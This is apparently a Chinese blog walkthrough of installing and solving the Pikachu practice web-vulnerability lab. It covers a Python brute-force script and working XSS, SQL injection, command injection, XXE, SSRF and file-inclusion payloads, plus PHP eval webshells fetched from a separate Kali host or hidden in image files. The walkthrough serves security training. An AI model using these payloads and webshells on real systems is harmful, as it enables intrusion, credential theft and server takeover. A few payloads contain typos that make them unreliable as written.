Pikachu靶场的搭建以及通关步骤(超详细)

Pikachu靶场的搭建以及通关步骤(超详细)相关内容

写在前面

因为之前的个人网站没有添加图片,所以之前的靶场类都打算重写,但是太浪费时间,也没心情去写

周五的时候一个学长让我做一下pikachu靶场,顺便写成文章吧

耗时近两天(周六14h+周日8h)

搭建

下载小皮面板(PhpstudyPro)

下载地址

image-20260406113231682

双击安装

image-20260406113554388

点击自定义选择

image-20260406113632315

按需设置路径等

image-20260406113702859

安装ing

image-20260406113831046

安装完成

image-20260406113859707

双击打开

image-20260406114120468

修改web服务器

image-20260406114209359

下载靶场

Pikachu下载地址

image-20260418040414492

启动服务

image-20260406114238853

打开网站根目录

image-20260406114452766

下载的靶场解压到此处并重命名为pikachu

image-20260418040051779

修改配置文件

image-20260418040506205

填写数据库密码

image-20260406162944832

编辑config.inc.php

image-20260418040554989

打开浏览器输入http://127.0.0.1/pikachu/install.php

点击初始化开始安装

image-20260418040644880

安装完成

image-20260418040723119

通关步骤

暴力破解

概述

image-20260418041343091

基于表单的暴力破解

原理: 部分用户甚至管理员设置的密码较为简单(弱口令),可以通过逐个尝试判断中有效的用户名和密码

方法1:使用Burpsuite的Intrunder模块进行暴力破解

Burpsuite的安装

开启流量拦截

image-20260418041617996

开启浏览器代理

image-20260418041755822

如果不适用内嵌浏览器,burpsuite拦截不到回环流量,需要把127.0.0.1改成任意网卡的地址,我这改成了192.168.19.1

image-20260418042117318

输入任意内容,分析传输数据

image-20260418042258113

发送到攻击器(Intruder)

image-20260418042617367

添加payload

分别选中①②,分别点击③

image-20260418043002199

添加后效果

image-20260418043041448

选择类型: 集群炸弹攻击

image-20260418043212633

指定字典

payload1为用户名

image-20260418043312293

payload2为密码

image-20260418043410683

开始攻击

image-20260418043458624

漫长的等待……

image-20260418043656438

得到正确密码

image-20260418045620617

image-20260418045704401

方法2:通过python脚本进行暴力破解

import requests
url = "http://192.168.79.1/pikachu/vul/burteforce/bf_form.php"
# 读取用户名字典
# usernames = []
# f_user = open("user.txt", "r", encoding="utf-8")
# while True:
#     line = f_user.readline()
#     if not line:
#         break
#     line = line.strip()
#     if line:
#         usernames.append(line)
# f_user.close()

# 读取密码字典
# passwords = []
# f_pass = open("pass.txt", "r", encoding="utf-8")
# while True:
#     line = f_pass.readline()
#     if not line:
#         break
#     line = line.strip()
#     if line:
#         passwords.append(line)
# f_pass.close()
# 字典中的字段需要一个一行
usernames = ["admin", "user", "test", "pikachu"]
passwords = ["123456", "admin", "123123", "password", "root"]
for username in usernames:
    for password in passwords:
        data = {
            "username": username,
            "password": password,
            "submit": "Login"
        }
        res = requests.post(url, data=data)
        if "login success" in res.text:
            print(f"破解成功!用户名:{username}  密码:{password}")
            exit()
        else:
            print(f"尝试失败:{username} / {password}")

image-20260418045053552

注: login success字段只是Pikachu的登录成功提示,并不是固定的

源码分析

image-20260418110130946

正如注释所见,只有一句查询语句,没有任何安全验证

验证码(on server)

分析:

使用burpsuite抓包

image-20260418060922172

发现多了一个字段

发送到重放器,提交几次,发现验证码刷新后但是没有报验证码相关的错,验证码并不会失效

image-20260418062624710

发送到攻击器(Intruder)

image-20260418103415081

添加payload

image-20260418103508024

类型选择:集群炸弹攻击

image-20260418103616335

指定字典

image-20260418103724850

image-20260418103745785

开始攻击 && 等待

image-20260418103846207

得到正确用户名密码

image-20260418104525716

源码分析

image-20260418110416826

在验证码判断后,没有销毁session['vscode'],验证码可以一直被重复利用

验证码(on client)

分析

image-20260418112134088

发现验证码是通过前端js验证的

停用js验证

image-20260418112242919

绕过了判断

开始爆破

image-20260418112518315

发送到攻击器(Intruder)

image-20260418113026820

添加payload

image-20260418113049343

选择类型:集群炸弹攻击

image-20260418113105425

指定字典

image-20260418113146768

image-20260418113223037

开始攻击 && 等待

image-20260418114420431

得到正确的用户名和密码

image-20260418114453653

源码分析

image-20260418114525299

源码中没有验证码变量

token防爆破?

分析

前端没有验证码

image-20260418114920740

请求中存在token

image-20260418115001716

发送到重复器后,token不能够重复利用

image-20260418115524101

查看页面源码

image-20260418121218096

发现隐藏类型的input标签

发送到攻击器

image-20260418121535362

尝试暴力破解,添加payload(一定要将整个字段一起选中,否则后续会出问题)

image-20260418160807304

类型选择:Pitchfork攻击模式

image-20260418160636483

用户名和密码依旧使用字典

image-20260418160951811

image-20260418161014580

token字段选择递归提取

设置提取位置(全部选中)

image-20260418161059167

设置检索内容

image-20260418153419871

设置线程

image-20260418153551067

开始攻击 && 等待

image-20260418160435153

得到正确的用户名和密码

image-20260418160323402

源码分析

这里输出了token的值,可以递归提取token

image-20260418162041678

Cross-Site Scripting

概述

image-20260419092638531

xss是在注入点可以执行js代码,所以目标是执行js代码,不是设计具有攻击性的payload

反射型xss(get)

反射型xss是在前端执行js代码,如果将具有恶意js代码的url复制后,别人点击打开就会执行

<script>alert()</script>

image-20260419093514142

输入到r以后输入不了了,查看输入框的页面源码

image-20260419093612698

将长度限制改大一些或者直接删掉,即可继续输入

image-20260419093703853

成功执行alert()

image-20260419093723984

反射型xss(post)

image-20260419094114508

目标是获取cookie

image-20260419094248108

登陆后输入payload

<script>alert(document.cookie)</script>

image-20260419094229078

postxss若想做到别人点击即执行,需要通过页面跳转

<form action="http://192.168.19.1/pikachu/vul/xss/xsspost/xss_reflected_post.php" method="POST">
    <input type="hidden" name="参数名" value="<script>alert(1)</script>">
</form>
<script>document.forms[0].submit();</script>

将以上代码写到一个静态网页中,然后将静态网页的地址复制转发,即可做到与get型同样的效果

存储型xss

存储型的xss是写入后端被记录的内容,写入后在前端打开网页就执行js代码

<script>alert()</script>

image-20260419095826486

写入后别人打开网页即可执行

DOM型xss

补:DOM是什么?

简单来说,DOM就是家谱一样的东西,将前端源码转为一级一级的形式给js看,然后js才能看懂

输入常规payload后,发现没有执行,查看页面源码

image-20260419101719832

输入的内容被强制写入了a标签的href属性中,我们尝试闭合a标签的href属性

innerHTML 插入的 script 标签,默认不执行,所以我们需要使用别的方法,这里选择使用标签的属性执行js代码

'><img src="#" onclick="alert()"

当我们点击图片的时候,就能够执行alert

image-20260419102531865

DOM型xss-x

随便输入一些内容观察

image-20260419103618913

本关将输入的内容拼接到了url中,添加了简单的过滤,不过与我们的payload没有啥关系,直接输入payload即可

'><img src="#" onclick="alert()"

image-20260419103831654

xss之盲打

XSS盲打(Blind XSS)是存储型XSS的一种特殊变体,其核心挑战在于攻击者无法直接看到攻击结果。这通常发生在用户输入被存储在服务器(如数据库、日志文件)中,但不会在当前页面立即显示,而是由其他用户(如管理员)在后台或其他页面查看时才会触发。

<script>alert()</script>

image-20260419104534962

提交后按照提示访问后台管理页面/xssblind/admin_login.php

image-20260419104609685

按照用户名密码登录

image-20260419104628707

登录后成功执行js代码

image-20260419104643626

image-20260419104741129

xss之过滤

<script>alert()</script>

image-20260419105030078

没有执行,提示说有些内容被过滤了,尝试绕过

大小写绕过

<Script>alert()</Script>

image-20260419105151518

xss之htmlspecialchars

image-20260419105458180

htmlspecialchar会将以下五个字符转义为实体编码

原字符 转义后 说明
------ ------- --------------------
`&` \& 和号(必须最先转)
`<`< /td> \< 小于号
`>` \> 大于号
`"` \" 双引号
`'` \' 单引号(需开启参数)

使用javascript伪协议绕过或事件处理器(onclick一类)即可

javascript:alert()

image-20260419110111784

xss之href输出

与htmlspecialchar相同,使用javascript伪协议绕过

image-20260419110501780

xss之js输出

它模拟的是反射型XSS的一种特殊场景:恶意代码的注入点位于 JavaScript 代码块内部,而非普通的 HTML 标签内

随便输入内容测试

找到script代码

image-20260419111347574

尝试闭合script标签,跳过判断

'</script><script>alert()</script>

image-20260419111532031

CSRF

概述

image-20260418233117470

CSRF(get)

image-20260418233340283

登录后点击修改个人信息

image-20260419154755913

抓包发送到重放器

image-20260419155222042

image-20260419155247057

在没有获得用户名密码的情况下,通过请求信息修改了用户数据

CSRF(post)

post与get是一样的,不同点在于请求位置不同

image-20260419155730973

CSRF Token

image-20260419160141771

在下一次修改前查看返回的token并替换请求中的token

总结

XSS和CSRF的区别在哪

CSRF是借助用户的权限完成攻击,攻击者并没有拿到用户的权限。目标构造修改个人信息的链接,利用lucy在登录状态下点击此链接达到修改信息的目的。

XSS直接盗取了用户的权限,然后实施破坏。攻击者利用XSS盗取了目标的Cookie,登录lucy的后台,再修改相关信息。

SQL-Inject

概述

sql注入总结

image-20260418162431728

数字型注入(post)

image-20260418162850366

因为是post型注入,不能直接修改页面内容,所以使用hackbar或者burpsuite抓包修改post数据,我选择使用hackbar

image-20260418163132209

已知条件为数字型注入,不用判断注入类型和闭合方式了

判断字段数

id=6 order by 2&submit=%E6%9F%A5%E8%AF%A2

image-20260418163631631

id=6 order by 3&submit=%E6%9F%A5%E8%AF%A2

image-20260418163714388

一共有两个字段

联合查询

判断回显点
id=6 union select 1,2&submit=%E6%9F%A5%E8%AF%A2

image-20260418163812191

查数据库名

image-20260418163915426

当前库名为pikachu

查表名
id=-6 union select database(),(select group_concat(table_name) from information_schema.tables where table_schema="pikachu")&submit=%E6%9F%A5%E8%AF%A2

image-20260418164445401

剩余信息通过修改sql语句随意查询

字符型注入(get)

image-20260418164938282

判断闭合方式

1'

image-20260418165028029

1' -- +

image-20260418165105504

单引号闭合

判断字段数

kobe' order by 2-- +

image-20260418165800332

kobe' order by 3-- +

image-20260418165706880

字段数为2

联合查询

判断回显点
1' union select 1,2 -- +

image-20260418165954333

查数据库名
1' union select database(),2 -- +

image-20260418170046572

剩余信息随便查

搜索型注入

image-20260418170344681

判断闭合方式

'

image-20260418170442359

' -- +

image-20260418170524303

单引号闭合

判断字段数

' order by 3-- +

image-20260418170614526

判断字段数

kobe' order by 3-- +

image-20260418211251684

kobe' order by 4-- +

image-20260418211150152

联合查询

判断回显点
test' union select 1,2,3 -- +

image-20260418211730497

查看当前数据库

test' union select database(),2,3 -- +

image-20260418211852520

剩余信息随便查

XX型注入

判断闭合方式

'
') -- +

image-20260418212541765

image-20260418213310418

GET型 单引号括号闭合

判断字段数

使用老账号kobe

kobe') order by 3-- +

image-20260418213740839

kobe') order by 2-- +

image-20260418213804183

联合查询

判断回显点
1') union select 1,2 -- +

image-20260418213928367

查看当前库名
1') union select database(),2 -- +

image-20260418214101230

剩余信息随便查

"insert/update"注入

image-20260418214746106

点击注册

image-20260418220215878

报错注入:updatexml()

原理:insert into (a,b,c) values('value1','2','3');

使用引号闭合values中的值,然后就可以插入sql语句

' or updatexml(1,concat(0x7e,database()),0) or '

image-20260418215535847

其它信息则将sql语句中的database()替换即可

update与insert同理

' or updatexml(1,concat(0x7e,database()),0) or '

image-20260418220403827

image-20260418220423441

"delete"注入

image-20260418220955228

发现删除按钮中有get请求,使用burpsuite抓包

image-20260418221047334

发送到重放器

image-20260418221131017

1 or updatexml(1,concat(0x7e,database()),0)

image-20260418221414013

image-20260418221438226

"http header"注入

image-20260418222011707

登录并抓包登录数据发送到重放器

image-20260418222443374

image-20260418222515807

寻找注入点

image-20260418222555292

' or updatexml(1,concat(0x7e,database()),0) or '

image-20260418222738814

盲注(base on boolian)

kobe' and length(database())>=7 -- +

image-20260418223953620

kobe' and length(database())>=8 -- +

image-20260418224046544

数据库名长度为7
kobe' and (select substr(datebase(),1,1))='97' -- +

image-20260418224343403

从97开始去挨个试…

最后拼接出数据库名,其它字段亦如此

盲注(base on time)

如果页面延迟刷新,代表payload生效

kobe' and if(ascii(substr(database(),1,1))=112,sleep(5),0) -- +

image-20260418230302929

挨个判断

宽字节注入

kobe%df' or 1=1#

REC

概述

image-20260419114134931

exec "ping"

简单的命令执行

常见的命令执行拼接符

# Uinx/Linux
;	  顺序执行
&&	  前一条成功后一条才执行
||	  前一条失败后一条才执行
|     管道,前输出当作后输入 
$()/` 嵌套
%0a   换行
# Windows
&
&&
||
127.0.0.1|ls

image-20260419121046505

exec "eval"

phpinfo();

image-20260419121836713

File Inclusion

概述

image-20260419125429284

File Inclusion(local)

image-20260419125854569

include()可以在页面内包含其他的页面,include_once()只会包含一次,避免重复定义报错

例如:pikachu靶场的header和footer都是通过include_once()引入的

image-20260419130252546

image-20260419130305806

在url中通过修改filename="xxx"字段即可做到本地文件包含

例:读取index页

../../../index.php

image-20260419130743201

File Inclusion(remote)

条件

1.php.ini中allow_url_include和allow_url_fopen的开启

2.所包含的远程文件后缀不能与目标服务器语言相同. (比如目标服务器是php解析的, 远程服务器的文件不能是php)

在本地写攻击脚本

<?php
    $myfile = fopen("1.php", "w");
    $txt = '<?php @eval($_POST["test"]);?>';
    fwrite($myfile, $txt);
    fclose($myfile);
?>

开启php监听

为了体现远程,我将这个脚本放到kali中开启php服务

image-20260419132655180

在本机访问此文件

http://192.168.19.133:8000/1.txt

image-20260419132750971

此时,在目录下已经生成了1.php

image-20260419132854455

使用蚁剑连接

http://192.168.19.1/pikachu/vul/fileinclude/1.php

image-20260419133053109

Unsafe Filedownload

概述

image-20260419134215462

Unsafe Filedownload

image-20260419133826059

查看前端源码发现下载连接

可以将filename随意修改,下载一些未经授权的文件

execdownload.php?filename=../../../README.md

image-20260419134416836

Unsafe Fileupload

概述

image-20260419134457032

PHP一句话木马

<?php eval($_POST['test']);?>

client check

客户端检查时在上传之前通过js检查,可以通过关闭js调试和抓包后修改文件后缀名

停用js调试

image-20260419135149199

抓包修改后缀名

首先将php木马的后缀名修改为jpg

image-20260419135422444

抓包修改后缀

image-20260419135537413

image-20260419135603430

上传成功

image-20260419135629938

MIME type

常见MIME

超文本标记语言文本 .html、.html:text/html
普通文本 .txt: text/plain 
RTF 文本 .rtf: application/rtf
GIF 图形 .gif: image/gif 
JPEG 图形 .jpeg、.jpg: image/jpeg
au 声音文件 .au: audio/basic 
MIDI 音乐文件 mid、.midi: audio/midi、audio/x-midi
RealAudio 音乐文件 .ra、.ram: audio/x-pn-realaudio 
MPEG 文件 .mpg、.mpeg: video/mpeg 
AVI 文件 .avi: video/x-msvideo 
GZIP 文件 .gz: application/x-gzip
TAR 文件 .tar: application/x-tar

抓包

image-20260419135752946

将content-type改为image/png

image-20260419135843428

上传成功

image-20260419135905758

getimagesize

getimagesize(string filename)函数是PHP中的一个内置函数,用于获取指定图像文件的尺寸和其他相关信息。

函数参数:

filename:要获取信息的图像文件的路径或URL。

函数返回值:

如果指定的文件是一个有效的图像文件,则返回一个包含图像尺寸和其他信息的关联数组,例如:

[0]:图像的宽度(像素)

[1]:图像的高度(像素)

[2]:图像类型的常量

[3]:包含字符串描述的图像类型,如"width=100 height=100"等

'mime':图像的MIME类型

如果指定的文件不是一个有效的图像文件,则返回false。

生成图片马

test.php中内容改为

<?php
    $myfile = fopen("1.php", "w");
    $txt = '<?php @eval($_POST["test"]);?>';
    fwrite($myfile, $txt);
    fclose($myfile);
?>

使用copy /b生成图片马

copy /b xx.jpg + test.php 1.jpg

image-20260419140627363

上传成功

image-20260419140730893

访问图片马

来到靶场/vul/fileinclude/fi_local.php目录下,拼接图片马返回的url,然后会在文件包含目录中生成1.php,最后使用蚁剑连接

Over Permission

概述

image-20260419143502932

水平越权

image-20260419143644273

使用lucy登录

image-20260419143717508

修改url中的lucy为lili

image-20260419143755820

在没有登录的前提下访问到了其它平级用户的信息,属于水平越权

垂直越权

image-20260419143923345

使用admin登录

发现有创建用户的权限

image-20260419144154970

添加一个用户

image-20260419144437814

复制其url

使用pikachu登录

image-20260419144026807

访问刚才复制的url
http://192.168.19.1/pikachu/vul/overpermission/op2/op2_admin_edit.php

image-20260419144606390

发现在pikachu用户中,也能够进行添加用户

在普通用户下执行了管理员用户的操作,属于垂直越权

../../

概述

image-20260419142045656

目录遍历

点击标题后,可访问文章

image-20260419142755640

将文章名改为../../../index.php

image-20260419142958026

敏感信息泄露

概述

image-20260419145056516

IcanseeyourABC

image-20260419145246112

使用lili登录

image-20260419145318054

PHP反序列化

概述

image-20260419124905233

PHP反序列化漏洞

通过脚本构造一个序列化的字符串

image-20260419125223189

O:1:"S":1:{s:4:"test";s:24:"<script>alert()</script>";}

将payload填写到输入框中

image-20260419125253655

XXE

概述

image-20260419145351913

XXE漏洞

判断有无回显

<?xml version="1.0"?> 
<!DOCTYPE ANY [    
<!ENTITY xxe "回显" > ]> 
<a>&xxe;</a>

image-20260419150429141

有回显,构造payload

payload

使用file协议查看win.ini

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;</a>

image-20260419151136005

URL重定向

概述

image-20260419151325360

不安全的URL跳转

image-20260419151509358

在点击url的时候,一定要确认好是正确的url

SSRF

概述

image-20260419151703330

SSRF(curl)

image-20260419152003733

curl支持http、file等多种协议

http

image-20260419152132466

file

image-20260419152342181

SSRF(file_get_content))

在www下写入flag.txt

image-20260419152617217

file协议

?file=file:///H:\phpstudy_pro\WWW\flag.txt

image-20260419153258684

php伪协议

?file=php://filter/read=convert.base64-encode/resource=H:\phpstudy_pro\WWW\flag.txt

image-20260419153123712

使用base64解码

image-20260419153558230

文章评论